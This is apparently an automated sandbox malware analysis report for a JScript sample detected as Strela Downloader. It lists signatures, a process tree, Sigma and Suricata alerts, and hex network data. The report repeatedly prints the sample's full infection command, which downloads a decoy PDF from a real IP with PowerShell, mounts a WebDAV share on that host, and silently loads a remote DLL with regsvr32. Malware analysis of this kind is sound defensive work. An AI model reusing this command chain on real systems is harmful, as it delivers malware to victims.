Edit tour

Windows Analysis Report
2624560062728623951.js

Overview

General Information

Sample name:	2624560062728623951.js
Analysis ID:	1588631
MD5:	87c53de56a96c5f4375e97287acc56ab
SHA1:	e990c668cf8b4d772e7952b4c96efce87665ba3d
SHA256:	10d2f034822ab93271662a6f9e2cc895e7412ef75913341d2da776f1c75ced8d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7292 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7348 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7392 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7584 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7796 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8016 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,10507283532286876311,14528673037070640338,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7600 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7632 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7872 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7292	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7348, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7392, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7348, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7392, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", ProcessId: 7292, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7632, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 7348, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 7348, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 7348, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 7348, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 7348, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", ProcessId: 7292, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7348, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7392, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7632, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7872, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7632, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 7348, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:26:47.932223+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:26:50.703719+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:26:47.932223+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2624560062728623951.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2624560062728623951.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:26:47 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

